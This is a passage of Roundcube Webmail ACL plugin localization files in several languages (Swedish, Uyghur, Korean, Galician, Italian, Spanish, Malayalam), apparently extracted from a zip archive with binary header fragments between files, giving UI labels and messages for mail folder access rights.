$labels['aclother'] = 'Övrig';
$labels['aclread'] = 'Läs';
$labels['aclwrite'] = 'Skriv';
$labels['acldelete'] = 'Ta bort';
$labels['shortacll'] = 'Uppslagning';
$labels['shortaclr'] = 'Läs';
$labels['shortacls'] = 'Behåll';
$labels['shortaclw'] = 'Skriv';
$labels['shortacli'] = 'Infoga';
$labels['shortaclp'] = 'Posta';
$labels['shortaclc'] = 'Skapa';
$labels['shortaclk'] = 'Skapa';
$labels['shortacld'] = 'Ta bort';
$labels['shortaclt'] = 'Ta bort';
$labels['shortacle'] = 'Utplåna';
$labels['shortaclx'] = 'Ta bort mapp';
$labels['shortacla'] = 'Administrera';
$labels['shortacln'] = 'Kommentera';
$labels['shortaclother'] = 'Övrig';
$labels['shortaclread'] = 'Läs';
$labels['shortaclwrite'] = 'Skriv';
$labels['shortacldelete'] = 'Ta bort';
$labels['longacll'] = 'Mappen är synlig i listor och den kan prenumereras på';
$labels['longaclr'] = 'Mappen kan öppnas för läsning';
$labels['longacls'] = 'Meddelandeflagga Läst kan ändras';
$labels['longaclw'] = 'Meddelandeflaggor och nyckelord kan ändras, undantaget Läst och Borttagen';
$labels['longacli'] = 'Meddelanden kan skrivas eller kopieras till mappen';
$labels['longaclp'] = 'Meddelanden kan postas till denna mapp';
$labels['longaclc'] = 'Mappar kan skapas (eller ges annat namn) direkt i denna mapp';
$labels['longaclk'] = 'Mappar kan skapas (eller ges annat namn) direkt i denna mapp';
$labels['longacld'] = 'Meddelandeflagga Borttaget kan ändras';
$labels['longaclt'] = 'Meddelandeflagga Borttaget kan ändras';
$labels['longacle'] = 'Meddelanden kan utplånas';
$labels['longaclx'] = 'Mappen kan tas bort eller ges annat namn';
$labels['longacla'] = 'Mappens åtkomsträttigheter kan ändras';
$labels['longacln'] = 'Delad information om meddelanden (kommentarer) kan ändras';
$labels['longaclfull'] = 'Full kontroll inklusive mappadministration';
$labels['longaclread'] = 'Mappen kan öppnas för läsning';
$labels['longaclwrite'] = 'Meddelanden kan markeras, skrivas eller kopieras till mappen';
$labels['longacldelete'] = 'Meddelanden kan tas bort';
$labels['longaclother'] = 'Övriga åtkomsträttigheter';
$labels['ariasummaryacltable'] = 'Lista med åtkomsträttigheter';
$labels['arialabelaclactions'] = 'Hantera listor';
$labels['arialabelaclform'] = 'Formulär för åtkomsträttigheter';
$messages['deleting'] = 'Tar bort åtkomsträttigheter...';
$messages['saving'] = 'Sparar åtkomsträttigheter...';
$messages['updatesuccess'] = 'Åtkomsträttigheterna är ändrade';
$messages['deletesuccess'] = 'Åtkomsträttigheterna är borttagna';
$messages['createsuccess'] = 'Åtkomsträttigheterna är tillagda';
$messages['updateerror'] = 'Åtkomsträttigheterna kunde inte ändras';
$messages['deleteerror'] = 'Åtkomsträttigheterna kunde inte tas bort';
$messages['createerror'] = 'Åtkomsträttigheterna kunde inte läggas till';
$messages['deleteconfirm'] = 'Vill du verkligen ta bort åtkomsträttigheterna för markerade användare?';
$messages['norights'] = 'Inga åtkomsträttigheter angavs!';
$messages['nouser'] = 'Inget användarnamn angavs!';
PKh�\yw�qBBplugins/acl/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'ھەمبەھىرلەش';
$labels['myrights'] = 'ئىشلىتىش ھوقوقلىرى';
$labels['username'] = 'ئىشلەتكۈچى:';
$labels['advanced'] = 'ئالىي ھالەت';
$labels['add'] = 'قۇشۇش';
$labels['newuser'] = 'قۇر قېتىش';
$labels['editperms'] = 'ئىجازەتلەرنى تەھرىرلەش';
$labels['actions'] = 'كىرىش ھوقوقى ھەركەتلىرى';
$labels['anyone'] = 'ھەممە ئىشلەتكۈچىلەر (ھەرقانداق ئادەم)';
$labels['anonymous'] = 'مىھمان (نامسىز)';
$labels['identifier'] = 'بېكىتكۈچ';
$labels['acll'] = 'قاراش';
$labels['aclr'] = 'خەتلەرنى ئۇقۇش';
$labels['acls'] = 'ئۇقۇغان ھالىتىنى ساقلاش';
$labels['aclw'] = 'بايراقلىرى قىستۇرۇش';
$labels['acli'] = 'كىرگۈزۈش (كۆچۈرۈلگەن)';
$labels['aclp'] = 'ئېلان قىلىش';
$labels['aclc'] = 'بالا-قىسقۇچ قۇرۇش';
$labels['aclk'] = 'بالا-قىسقۇچ قۇرۇش';
$labels['acld'] = 'خەتلەرنى ئۆچۈرۈش';
$labels['aclt'] = 'خەتلەرنى ئۆچۈرۈش';
$labels['acle'] = 'ئۆچۈرۈش';
$labels['aclx'] = 'قىسقۇچنى ئۆچۈرۈش';
$labels['acla'] = 'باشقۇرغۇچى';
$labels['acln'] = 'خەتلەرنى ئىزاھلاش';
$labels['aclfull'] = 'تۇلۇق ھوقوق';
$labels['aclother'] = 'باشقا';
$labels['aclread'] = 'ئۇقۇش';
$labels['aclwrite'] = 'يېزىش';
$labels['acldelete'] = 'ئۆچۈرۈش';
$labels['shortacll'] = 'قاراش';
$labels['shortaclr'] = 'ئۇقۇش';
$labels['shortacls'] = 'ساقلاش';
$labels['shortaclw'] = 'يېزىش';
$labels['shortacli'] = 'كىرگۈزۈش';
$labels['shortaclp'] = 'ئېلان قىلىش';
$labels['shortaclc'] = 'قۇرۇش';
$labels['shortaclk'] = 'قۇرۇش';
$labels['shortacld'] = 'ئۆچۈرۈش';
$labels['shortaclt'] = 'ئۆچۈرۈش';
$labels['shortacle'] = 'ئۆچۈرۈش';
$labels['shortaclx'] = 'قىسقۇچ ئۆچۈرۈش';
$labels['shortacla'] = 'باشقۇرغۇچى';
$labels['shortacln'] = 'ئىزاھلاش';
$labels['shortaclother'] = 'باشقا';
$labels['shortaclread'] = 'ئۇقۇش';
$labels['shortaclwrite'] = 'يېزىش';
$labels['shortacldelete'] = 'ئۆچۈرۈش';
$labels['longacll'] = 'بۇ قىسقۇچ تىزىملىكلەردە كۆرۈنىدۇ ھەمدە مۇشتەرى بولغىلى بۇلىدۇ';
$labels['longaclr'] = 'بۇ قىسقۇچنى ئۇقۇش ئۈچۈن ئاچقىلى بۇلىدۇ';
$labels['longacls'] = 'خەت ئۇقۇغانلىق بايرىقىنى ئۆزگەرتكىلى بۇلىدۇ';
$labels['longaclw'] = 'خەت بايراقلىرى ھەمدە ئاچقۇچلۇق سۆزلەرنى ئۆزگەرتكىلى بۇلىدۇ، كۆرگەن ۋە ئۆچۈرگەندىن باشقىسىنى';
$labels['longacli'] = 'خەتلەرنى يازغىلى ياكى قىسقۇچقا كۆچۈرگىلى بۇلىدۇ';
$labels['longaclp'] = 'خەتلەرنى بۇ قىسقۇچقا ئېلان قىلغىلى بۇلىدۇ';
$labels['longaclc'] = 'قىسقۇچلارنى بۇ قىسقۇچنىڭ ئىچىگە قۇرغىلى (ياكى يېڭى ئىسىم قويغىلى) بۇلىدۇ ';
$labels['longaclk'] = 'قىسقۇچلارنى بۇ قىسقۇچنىڭ ئىچىگە قۇرغىلى (ياكى يېڭى ئىسىم قويغىلى) بۇلىدۇ ';
$labels['longacld'] = 'ئۇچۇر ئۆچۈرگەنلىك بايرىقىنى ئۆزگەرتكىلى بۇلىدۇ';
$labels['longaclt'] = 'خەتنى ئۆچۈرگەنلىك بايرىقىنى ئۆزگەرتكىلى بۇلىدۇ';
$labels['longacle'] = 'خەتنى ئۆچۈرگىلى بۇلىدۇ';
$labels['longaclx'] = 'قىسقۇچنى ئۆچۈرگىلى ياكى يېڭى ئىسىم قويغىلى بۇلىدۇ';
$labels['longacla'] = 'قىسقۇچقا كىرىش ھوقوقىنى ئۆزگەرتكىلى بۇلىدۇ';
$labels['longacln'] = 'خەت ھەمبەھىرلىگەن ئىزاھ ئۇچۇرىنى (ئىزھاتلار) ئۆزگەرتىشكە بۇلىدۇ';
$labels['longaclfull'] = 'قىسقۇچنى باشقۇرۇشنى ئۆز-ئىچىگە ئالغان تۇلۇق ھوقوق';
$labels['longaclread'] = 'بۇ قىسقۇچنى ئۇقۇش ئۈچۈن ئاچقىلى بۇلىدۇ';
$labels['longaclwrite'] = 'خەتنى يازغىلى ياكى بۇ قىسقۇچقا كۆچۈرگىلى ياكى بەلگە قويغىلى بۇلىدۇ';
$labels['longacldelete'] = 'خەتنى ئۆچۈرگىلى بۇلىدۇ';
$labels['longaclother'] = 'باشقا كىرىش ھوقوقلىرى';
$labels['ariasummaryacltable'] = 'كىرىش ھوقوقلىرى تىزىملىكى';
$labels['arialabelaclactions'] = 'ھەركەتلەرنى تىزىش';
$labels['arialabelaclform'] = 'كىرىش ھوقوقلىرى جەدىۋېلى';
$messages['deleting'] = 'كىرىش ھوقوقلىرىنى ئۆچۈرۋاتىدۇ...';
$messages['saving'] = 'كىرىش ھوقوقلىرىنى ساقلاۋاتىدۇ...';
$messages['updatesuccess'] = 'كىرىش ھوقوقلىرىنى ئۆزگەرتىش مۇۋاپىقىيەتلىك بولدى';
$messages['deletesuccess'] = 'كىرىش ھوقوقلىرىنى ئۆچۈرۈش مۇۋاپىقىيەتلىك بولدى';
$messages['createsuccess'] = 'كىرىش ھوقوقلىرىنى قېتىش مۇۋاپىقىيەتلىك بولدى';
$messages['updateerror'] = 'كىرىش ھوقوقلىرىنى يېڭىلاشقا بولمىدى';
$messages['deleteerror'] = 'كىرىش ھوقوقلىرىنى ئۆچۈرۈشكە بولمىدى';
$messages['createerror'] = 'كىرىش ھوقوقلىرىنى قېتىشقا بولمىدى';
$messages['deleteconfirm'] = 'تاللانغان ئىشلەتكۈچى(لەر)نىڭ كىرىش ھوقوقلىرىنى ئۆچۈرۈشنى جەزىملەشتۈرەمسىز؟';
$messages['norights'] = 'ھېچقانداق ھوقوق كۆرسىتىلمىدى!';
$messages['nouser'] = 'ھېچقانداق ئىشلەتكۈچى ئىسمى تېپىلمىدى!';
PKh�\��KO��"plugins/acl/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = '공유';
$labels['myrights'] = '접근 권한';
$labels['username'] = '사용자:';
$labels['advanced'] = '고급 모드';
$labels['add'] = '추가';
$labels['newuser'] = '입력내용 추가';
$labels['editperms'] = '권한 수정';
$labels['actions'] = '접근 권한 동작...';
$labels['anyone'] = '모든 사용자 (아무나)';
$labels['anonymous'] = '방문자 (익명)';
$labels['identifier'] = '식별자';
$labels['acll'] = '조회';
$labels['aclr'] = '읽은 메시지';
$labels['acls'] = '읽은 상태 유지';
$labels['aclw'] = '쓰기 깃발';
$labels['acli'] = '삽입 (복사할 위치)';
$labels['aclp'] = '게시';
$labels['aclc'] = '하위 폴더 생성';
$labels['aclk'] = '하위 폴더 생성';
$labels['acld'] = '메시지 삭제';
$labels['aclt'] = '메시지 삭제';
$labels['acle'] = '영구 제거';
$labels['aclx'] = '폴더 삭제';
$labels['acla'] = '관리';
$labels['acln'] = '메시지에 주석 추가';
$labels['aclfull'] = '전체 제어 권한';
$labels['aclother'] = '기타';
$labels['aclread'] = '읽음';
$labels['aclwrite'] = '쓰기';
$labels['acldelete'] = '삭제';
$labels['shortacll'] = '조회';
$labels['shortaclr'] = '읽음';
$labels['shortacls'] = '보관';
$labels['shortaclw'] = '쓰기';
$labels['shortacli'] = '삽입';
$labels['shortaclp'] = '게시';
$labels['shortaclc'] = '생성';
$labels['shortaclk'] = '생성';
$labels['shortacld'] = '삭제';
$labels['shortaclt'] = '삭제';
$labels['shortacle'] = '지움';
$labels['shortaclx'] = '폴더 삭제';
$labels['shortacla'] = '관리';
$labels['shortacln'] = '주석 추가';
$labels['shortaclother'] = '기타';
$labels['shortaclread'] = '읽기';
$labels['shortaclwrite'] = '쓱';
$labels['shortacldelete'] = '삭제';
$labels['longacll'] = '폴더가 목록에 나타나고 다음 사용자가 구독할 수 있음:';
$labels['longaclr'] = '읽기 위해 폴더를 열 수 있음';
$labels['longacls'] = '읽은 메시지 깃발이 변경될 수 있음';
$labels['longaclw'] = '메시지 깃발 및 키워드를 변경할 수 있음, 다만 읽음 및 삭제됨은 제외됨';
$labels['longacli'] = '메시지를 폴더에 복사하거나 작성할 수 있음';
$labels['longaclp'] = '메시지가 이 폴더에 게시될 수 있음';
$labels['longaclc'] = '이 폴더의 바로 아래에 폴더를 생성(또는 이름 변경)할 수 있음';
$labels['longaclk'] = '이 폴더의 바로 아래에 폴더를 생성(또는 이름 변경)할 수 있음';
$labels['longacld'] = '메시지 삭제 깃발이 변경될 수 있음';
$labels['longaclt'] = '메시지 삭제 깃발이 변경될 수 있음';
$labels['longacle'] = '메시지가 영구 제거될 수 있음';
$labels['longaclx'] = '폴더를 삭제하거나 이름을 변경 할 수 있음';
$labels['longacla'] = '폴더의 접근 권한을 변경할 수 있음';
$labels['longacln'] = '공유된 메타데이터(주석)은 변경될 수 있습니다';
$labels['longaclfull'] = '폴더 관리를 포함한 전체 제어 권한';
$labels['longaclread'] = '폴더를 열어 읽을 수 있음';
$labels['longaclwrite'] = '메시지를 표시하거나, 폴더로 이동 또는 복사할 수 있음';
$labels['longacldelete'] = '메시지를 삭제할 수 있음';
$labels['longaclother'] = '기타 접근 권한';
$labels['ariasummaryacltable'] = '접근 권한 목록';
$labels['arialabelaclactions'] = '목록 동작';
$labels['arialabelaclform'] = '접근 권한 양식';
$messages['deleting'] = '접근 권한을 삭제하는 중...';
$messages['saving'] = '접근 권한을 저장하는 중...';
$messages['updatesuccess'] = '접근 권한을 성공적으로 변경함';
$messages['deletesuccess'] = '접근 권한을 성공적으로 삭제함.';
$messages['createsuccess'] = '접근 권한을 성공적으로 추가함.';
$messages['updateerror'] = '접근 권한을 업데이트 할 수 없음';
$messages['deleteerror'] = '접근 권한을 삭제할 수 없음';
$messages['createerror'] = '접근 권한을 추가할 수 없음';
$messages['deleteconfirm'] = '정말로 선택한 사용자의 접근 권한을 삭제하시겠습니까?';
$messages['norights'] = '지정된 권한이 없음!';
$messages['nouser'] = '지정된 사용자명이 없음!';
PKh�\KX,���"plugins/acl/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Compartindo';
$labels['myrights'] = 'Permisos de acceso';
$labels['username'] = 'Utente:';
$labels['advanced'] = 'Modo avanzado';
$labels['add'] = 'Engadir';
$labels['newuser'] = 'Engadir entrada';
$labels['editperms'] = 'Editar permisos';
$labels['actions'] = 'Accións sobre os Permisos de acceso...';
$labels['anyone'] = 'Todas as persoas usuarias (calquera)';
$labels['anonymous'] = 'Persoas convidadas (anónimo)';
$labels['identifier'] = 'Identificador';
$labels['acll'] = 'Bloquear';
$labels['aclr'] = 'Ler mensaxes';
$labels['acls'] = 'Manter estado actividade';
$labels['aclw'] = 'Marcas de lectura';
$labels['acli'] = 'Engadir (Copiar en)';
$labels['aclp'] = 'Envío';
$labels['aclc'] = 'Crear subcartafoles';
$labels['aclk'] = 'Crear subcartafoles';
$labels['acld'] = 'Borrar mensaxes';
$labels['aclt'] = 'Borrar mensaxes';
$labels['acle'] = 'Expurga';
$labels['aclx'] = 'Eliminar cartafol';
$labels['acla'] = 'Administrar';
$labels['acln'] = 'Crear anotacións para as mensaxes';
$labels['aclfull'] = 'Control total';
$labels['aclother'] = 'Outros';
$labels['aclread'] = 'Lectura';
$labels['aclwrite'] = 'Escritura';
$labels['acldelete'] = 'Borrado';
$labels['shortacll'] = 'Buscar';
$labels['shortaclr'] = 'Ler';
$labels['shortacls'] = 'Manter';
$labels['shortaclw'] = 'Escribir';
$labels['shortacli'] = 'Inserir';
$labels['shortaclp'] = 'Publicar';
$labels['shortaclc'] = 'Crear';
$labels['shortaclk'] = 'Crear';
$labels['shortacld'] = 'Eliminar';
$labels['shortaclt'] = 'Eliminar';
$labels['shortacle'] = 'Expurga';
$labels['shortaclx'] = 'Eliminar cartafol';
$labels['shortacla'] = 'Administrar';
$labels['shortacln'] = 'Crear anotación';
$labels['shortaclother'] = 'Outros';
$labels['shortaclread'] = 'Lectura';
$labels['shortaclwrite'] = 'Escritura';
$labels['shortacldelete'] = 'Eliminar';
$labels['longacll'] = 'O cartafol é visíbel e pode ser subscrito';
$labels['longaclr'] = 'Pódese abrir o cartafol para lectura';
$labels['longacls'] = 'Pódese mudar o marcador de Mensaxes Enviadas';
$labels['longaclw'] = 'Pódense mudar marcadores e palabras chave agás Vistas e Borradas';
$labels['longacli'] = 'Pódense escreber ou copiar as mensaxes a este cartafol';
$labels['longaclp'] = 'Pódense enviar as mensaxes a este cartafol';
$labels['longaclc'] = 'Pódense crear (ou renomear) os cartafoles directamente baixo deste cartafol';
$labels['longaclk'] = 'Pódense crear (ou renomear) os cartafoles directamente baixo deste cartafol';
$labels['longacld'] = 'Pódense mudar as mensaxes coa marca Eliminar';
$labels['longaclt'] = 'Pódense mudar as mensaxes coa marca Eliminar';
$labels['longacle'] = 'As mensaxes poden ser expurgadas';
$labels['longaclx'] = 'Pódese borrar ou renomear o cartafol';
$labels['longacla'] = 'Pódense mudar os permisos de acceso ao cartafol';
$labels['longacln'] = 'Pódense trocar as anotacións das mensaxes';
$labels['longaclfull'] = 'Control total inclúe administración de cartafoles';
$labels['longaclread'] = 'Pódese abrir o cartafol para lectura';
$labels['longaclwrite'] = 'Pódense marcar, escribir ou copiar as mensaxes no cartafol';
$labels['longacldelete'] = 'Pódense borrar as mensaxes';
$labels['longaclother'] = 'Outros dereitos de acceso';
$labels['ariasummaryacltable'] = 'Lista de dereitos de acceso';
$labels['arialabelaclactions'] = 'Accións de lista';
$labels['arialabelaclform'] = 'Formulario de dereitos de acceso';
$messages['deleting'] = 'Borrando permisos de acceso...';
$messages['saving'] = 'Gardando permisos de acceso...';
$messages['updatesuccess'] = 'Mudados con éxito os permisos de acceso';
$messages['deletesuccess'] = 'Borrados con éxito os permisos de acceso';
$messages['createsuccess'] = 'Engadidos con éxito os permisos de acceso';
$messages['updateerror'] = 'Non se poden actualizar os permisos de acceso';
$messages['deleteerror'] = 'Non se poden borrar os permisos de acceso';
$messages['createerror'] = 'Non se poden engadir permisos de acceso';
$messages['deleteconfirm'] = 'De certo que queres eliminar os permisos de acceso da(s) persoa(s) usuaria(s) escollida(s)?';
$messages['norights'] = 'Non se especificaron permisos!';
$messages['nouser'] = 'Non se especificou o nome da persoa usuaria!';
PKh�\�x=���"plugins/acl/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Condivisione';
$labels['myrights'] = 'Diritti d\'accesso';
$labels['username'] = 'Utente:';
$labels['advanced'] = 'Modalità avanzata';
$labels['add'] = 'Aggiungi';
$labels['newuser'] = 'Aggiungi voce';
$labels['editperms'] = 'Modifica permessi';
$labels['actions'] = 'Azioni permessi d\'accesso...';
$labels['anyone'] = 'Tutti gli utenti';
$labels['anonymous'] = 'Osptiti (anonimi)';
$labels['identifier'] = 'Identificatore';
$labels['acll'] = 'Ricerca';
$labels['aclr'] = 'Leggi messaggi';
$labels['acls'] = 'Mantieni lo stato Visto';
$labels['aclw'] = 'Flag di scrittura';
$labels['acli'] = 'Inserisci (Copia in)';
$labels['aclp'] = 'Invio';
$labels['aclc'] = 'Crea sottocartelle';
$labels['aclk'] = 'Crea sottocartelle';
$labels['acld'] = 'Elimina messaggi';
$labels['aclt'] = 'Elimina messaggi';
$labels['acle'] = 'Elimina';
$labels['aclx'] = 'Elimina cartella';
$labels['acla'] = 'Amministra';
$labels['acln'] = 'Annota messaggi';
$labels['aclfull'] = 'Controllo completo';
$labels['aclother'] = 'Altro';
$labels['aclread'] = 'Lettura';
$labels['aclwrite'] = 'Scrittura';
$labels['acldelete'] = 'Elimina';
$labels['shortacll'] = 'Ricerca';
$labels['shortaclr'] = 'Lettura';
$labels['shortacls'] = 'Mantieni';
$labels['shortaclw'] = 'Scrivi';
$labels['shortacli'] = 'Inserisci';
$labels['shortaclp'] = 'Invio';
$labels['shortaclc'] = 'Crea';
$labels['shortaclk'] = 'Crea';
$labels['shortacld'] = 'Elimina';
$labels['shortaclt'] = 'Elimina';
$labels['shortacle'] = 'Elimina';
$labels['shortaclx'] = 'Elimina cartella';
$labels['shortacla'] = 'Amministra';
$labels['shortacln'] = 'Annota';
$labels['shortaclother'] = 'Altro';
$labels['shortaclread'] = 'Lettura';
$labels['shortaclwrite'] = 'Scrittura';
$labels['shortacldelete'] = 'Elimina';
$labels['longacll'] = 'La cartella è visibile sulle liste e può essere sottoscritta';
$labels['longaclr'] = 'Questa cartella può essere aperta in lettura';
$labels['longacls'] = 'Il flag Messaggio Visto può essere cambiato';
$labels['longaclw'] = 'I flag dei messaggi e le keywords possono essere cambiati, ad esclusione di Visto ed Eliminato';
$labels['longacli'] = 'I messaggi possono essere scritti o copiati nella cartella';
$labels['longaclp'] = 'I messaggi possono essere inviati a questa cartella';
$labels['longaclc'] = 'Possono essere create (o rinominata) cartelle direttamente in questa cartella.';
$labels['longaclk'] = 'Possono essere create (o rinominata) cartelle direttamente in questa cartella.';
$labels['longacld'] = 'Il flag Messaggio Eliminato può essere cambiato';
$labels['longaclt'] = 'Il flag Messaggio Eliminato può essere cambiato';
$labels['longacle'] = 'I messaggi possono essere cancellati';
$labels['longaclx'] = 'La cartella può essere eliminata o rinominata';
$labels['longacla'] = 'I diritti di accesso della cartella possono essere cambiati';
$labels['longacln'] = 'I metadati (annotazioni) dei messaggi condivisi possono essere modificati';
$labels['longaclfull'] = 'Controllo completo incluso cartella di amministrazione';
$labels['longaclread'] = 'Questa cartella può essere aperta in lettura';
$labels['longaclwrite'] = 'I messaggi possono essere marcati, scritti o copiati nella cartella';
$labels['longacldelete'] = 'I messaggi possono essere eliminati';
$labels['longaclother'] = 'Altri diritti di accesso';
$labels['ariasummaryacltable'] = 'Elenco dei diritti di accesso';
$labels['arialabelaclactions'] = 'Lista azioni';
$labels['arialabelaclform'] = 'Modulo di accesso';
$messages['deleting'] = 'Sto eliminando i diritti di accesso...';
$messages['saving'] = 'Sto salvando i diritti di accesso...';
$messages['updatesuccess'] = 'I diritti d\'accesso sono stati cambiati';
$messages['deletesuccess'] = 'I diritti d\'accesso sono stati eliminati';
$messages['createsuccess'] = 'I diritti d\'accesso sono stati aggiunti';
$messages['updateerror'] = 'Impossibile aggiornare i diritti d\'accesso';
$messages['deleteerror'] = 'Impossibile eliminare i diritti d\'accesso';
$messages['createerror'] = 'Impossibile aggiungere i diritti d\'accesso';
$messages['deleteconfirm'] = 'Sei sicuro di voler rimuovere i diritti d\'accesso degli utenti selezionati?';
$messages['norights'] = 'Nessun diritto specificato!';
$messages['nouser'] = 'Lo username non è stato specificato!';
PKh�\=�?���"plugins/acl/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Compartir';
$labels['myrights'] = 'Permisos de acceso';
$labels['username'] = 'Usuario:';
$labels['advanced'] = 'Modo avanzado';
$labels['add'] = 'Añadir';
$labels['newuser'] = 'Añadir una entrada';
$labels['editperms'] = 'Editar permisos';
$labels['actions'] = 'Acciones sobre los permisos de acceso…';
$labels['anyone'] = 'Todos los usuarios (cualquiera)';
$labels['anonymous'] = 'Invitados (anónimo)';
$labels['identifier'] = 'Identificador';
$labels['acll'] = 'Búsqueda';
$labels['aclr'] = 'Leer mensajes';
$labels['acls'] = 'Mantener como "Leído';
$labels['aclw'] = 'Escribir etiquetas';
$labels['acli'] = 'Insertar (Copiar dentro)';
$labels['aclp'] = 'Enviar';
$labels['aclc'] = 'Crear subcarpetas';
$labels['aclk'] = 'Crear subcarpetas';
$labels['acld'] = 'Borrar mensajes';
$labels['aclt'] = 'Borrar mensajes';
$labels['acle'] = 'Expurgar';
$labels['aclx'] = 'Borrar carpeta';
$labels['acla'] = 'Administrar';
$labels['acln'] = 'Anotar mensajes';
$labels['aclfull'] = 'Control total';
$labels['aclother'] = 'Otro';
$labels['aclread'] = 'Leer';
$labels['aclwrite'] = 'Escribir';
$labels['acldelete'] = 'Borrar';
$labels['shortacll'] = 'Búsqueda';
$labels['shortaclr'] = 'Leer';
$labels['shortacls'] = 'Conservar';
$labels['shortaclw'] = 'Escribir';
$labels['shortacli'] = 'Insertar';
$labels['shortaclp'] = 'Enviar';
$labels['shortaclc'] = 'Crear';
$labels['shortaclk'] = 'Crear';
$labels['shortacld'] = 'Borrar';
$labels['shortaclt'] = 'Borrar';
$labels['shortacle'] = 'Expurgar';
$labels['shortaclx'] = 'Borrar carpeta';
$labels['shortacla'] = 'Administrar';
$labels['shortacln'] = 'Anotar';
$labels['shortaclother'] = 'Otro';
$labels['shortaclread'] = 'Leer';
$labels['shortaclwrite'] = 'Escribir';
$labels['shortacldelete'] = 'Borrar';
$labels['longacll'] = 'La carpeta es visible en las listas y es posible suscribirse a ella';
$labels['longaclr'] = 'Se puede abrir la carpeta para leer';
$labels['longacls'] = 'Se pueden cambiar los mensajes con la etiqueta "Leído';
$labels['longaclw'] = 'Las etiquetas de mensaje y las palabras clave se pueden cambiar, excepto "Leído" y "Borrado';
$labels['longacli'] = 'Se pueden escribir mensajes o copiarlos a la carpeta';
$labels['longaclp'] = 'Se pueden enviar mensajes a esta carpeta';
$labels['longaclc'] = 'Se pueden crear (o renombrar) carpetas directamente bajo esta carpeta';
$labels['longaclk'] = 'Se pueden crear (o renombrar) carpetas directamente bajo esta carpeta';
$labels['longacld'] = 'No se pueden cambiar los mensajes etiquetados como "Borrado';
$labels['longaclt'] = 'No se pueden cambiar los mensajes etiquetados como "Borrado';
$labels['longacle'] = 'No se pueden expurgar los mensajes';
$labels['longaclx'] = 'La carpeta se puede borrar o renombrar';
$labels['longacla'] = 'Se pueden cambiar los permisos de acceso';
$labels['longacln'] = 'Los metadatos compartidos de los mensajes (anotaciones) pueden cambiarse';
$labels['longaclfull'] = 'Control total, incluyendo la gestión de carpetas';
$labels['longaclread'] = 'Se puede abrir la carpeta para leer';
$labels['longaclwrite'] = 'Se pueden etiquetar, escribir o copiar mensajes a la carpeta';
$labels['longacldelete'] = 'Los mensajes se pueden borrar';
$labels['longaclother'] = 'Otros derechos de acceso';
$labels['ariasummaryacltable'] = 'Lista de derechos de acceso';
$labels['arialabelaclactions'] = 'Lista de acciones';
$labels['arialabelaclform'] = 'Formulario de derechos de acceso';
$messages['deleting'] = 'Borrando permisos de acceso…';
$messages['saving'] = 'Guardando permisos de acceso…';
$messages['updatesuccess'] = 'Se han cambiado los permisos de acceso';
$messages['deletesuccess'] = 'Se han borrado los permisos de acceso';
$messages['createsuccess'] = 'Se han añadido los permisos de acceso';
$messages['updateerror'] = 'No ha sido posible actualizar los derechos de acceso';
$messages['deleteerror'] = 'No se han podido borrar los permisos de acceso';
$messages['createerror'] = 'No se han podido añadir los permisos de acceso';
$messages['deleteconfirm'] = '¿Seguro que quiere borrar los permisos de acceso del usuairo seleccionado?';
$messages['norights'] = 'No se han especificado los permisos de acceso';
$messages['nouser'] = 'No se ha especificado un nombre de usuario';
PKh�\M+Qcc"plugins/acl/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['add'] = 'ചേര്‍ക്കു';
$labels['aclother'] = 'മറ്റുള്ളത്';
$labels['aclread'] = 'വായിച്ചവ';
$labels['acldelete'] = 'നീക്കം ചെയ്യുക';
$labels['shortaclr'] = 'വായിച്ചവ';
$labels['shortacld'] = 'നീക്കം ചെയ്യുക';
$labels['shortaclt'] = 'നീക്കം ചെയ്യുക';
$labels['shortaclother'] = 'മറ്റുള്ളത്';
$labels['shortaclread'] = 'വായിച്ചവ';
$labels['shortacldelete'] = 'നീക്കം ചെയ്യുക';
PKh�\p�&�"plugins/acl/localization/nl_NL.incnu�[���<?php

/*
